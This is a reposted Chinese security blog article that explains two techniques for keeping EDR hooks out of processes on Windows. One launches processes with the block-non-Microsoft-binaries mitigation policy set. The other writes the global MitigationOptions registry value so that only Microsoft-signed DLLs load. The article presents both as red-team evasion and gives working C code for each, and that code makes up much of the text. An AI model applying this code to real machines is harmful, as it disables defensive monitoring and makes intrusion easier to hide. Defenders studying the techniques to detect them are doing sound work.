从BlockDLL到FairyLaw,削弱edr奇招

admin 2025-12-22 04:23:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章介绍了两种绕过EDR安全软件的方法,通过阻止非Microsoft签名的DLL加载来防止安全解决方案注入钩子。第一种方法是使用特定进程创建标志,第二种是修改注册表MitigationOptions值。这两种方法都能有效阻止第三方DLL加载,但对Microsoft签名的EDR无效。文章提供了详细的代码实现示例,展示了如何通过API操作实现这些技术。 综合评分: 87 文章分类: 红队,免杀,内网渗透,安全工具,漏洞分析


cover_image

从Block DLL 到Fairy Law,削弱edr奇招

巡音安全

2025年12月11日 14:00 日本

通过利用专用的进程创建标志,可以防止安全解决方案向本地和远程进程注入钩子。该标志限制了不让无 Microsoft 数字签名的 DLL 加载到新生成进程中,从而阻碍了钩子和其他防御机制的部署

也就是说我们可以通过这种方式创建进行执行敏感内容来阻拦xdr挂钩

特殊进程创建标志是 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON且可以通过 UpdateProcThreadAttributeWinAPI 在新创建进程上设置的。该标志属于 Microsoft 为防止调用进程遭受各种攻击而创建的缓解策略

以下是创建特殊进程的示例

DWORD64 dwPolicy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;

    // Assign our attribute
    if (!UpdateProcThreadAttribute(pAttrBuf, NULL, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &dwPolicy, sizeof(DWORD64), NULL, NULL)) {
        printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    SiEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)pAttrBuf;

if (!CreateProcessA(
        NULL,
        lpProcessPath,
        NULL,
        NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        &SiEx.StartupInfo,
        &Pi)) {
        printf("[!] CreateProcessA Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

不幸的是,这种实现只对子进程有利,因为该实现不会启用该策略,只有其生成的子进程会启用。这意味着本地进程将保持挂钩状态,因为创建进程时并未启用阻止非 Microsoft 签名 DLL 注入的策略。

操纵注册表值 “MitigationOptions”

Windows 中的“MitigationOptions”注册表值是一个位掩码,用于配置特定进程或应用的漏洞保护缓解措施。它启用或禁用了多种旨在防止基于内存的攻击和其他利用漏洞的安全功能,如数据执行防护(DEP)、地址空间布局随机化(ASLR)、控制流保护(CFG)等。这些选项是 Windows 内置的漏洞保护框架的一部分,允许管理员或开发者覆盖默认行为以增强安全性,我们可以操控MitigationOptions的值来实现上述类似效果,即禁止非微软签名的dll加载

同时,Microsoft 允许通过 PowerShell 或本机注册表 API (如 RegOpenKeyExARegSetValueExA和 RegCreateKeyExA) 在内核配置区域中设置安全相关参数。

一个特别相关的键位于:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel

我们可以通过windowsapi修改注册表值在全局缓解配置中激活 MicrosoftSignedOnly 位

LONG result = RegCreateKeyExA(
    HKEY_LOCAL_MACHINE,              // root hive
    subkey,                          // subkey path
0,
NULL,                            // class type (unused)
    REG_OPTION_NON_VOLATILE,         // key persists after reboot
    KEY_WRITE | KEY_READ,            // access rights
NULL,                            // security attributes
    &hKey,                           // returned key handle
    &disposition                     // tells if key was created or opened
);
if (result != ERROR_SUCCESS) {
printf("Error opening/creating registry key: %ld\n", result);
return1;
}
if (disposition == REG_CREATED_NEW_KEY) {
printf("Registry key was created.\n");
} else {
printf("Registry key already exists.\n");
}

BYTE mitigationValue[] = {
0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};

// Set or overwrite the REG_BINARY value
result = RegSetValueExA(
    hKey,
    valueName,                       // value name
0,
    REG_BINARY,                      // binary value
    mitigationValue,                 // data buffer
sizeof(mitigationValue)          // size of the binary data
);
if (result != ERROR_SUCCESS) {
printf("Error writing value: %ld\n", result);
RegCloseKey(hKey);
return1;
}
printf("MitigationOptions successfully written.\n");
RegCloseKey(hKey);

此时所有第三方或自定义 DLL 在加载时被阻止

这意味着非微软签名的dll会丧失其功能,例如专门处理etw事件的dll,负责云端同步的dll

需要注意的由 Microsoft 数字签名的 EDR 无效,因为即使启用了阻断 DLL 策略,DLL 仍被允许注入


查看原文:《从Block DLL 到Fairy Law,削弱edr奇招》

评论:0   参与:  3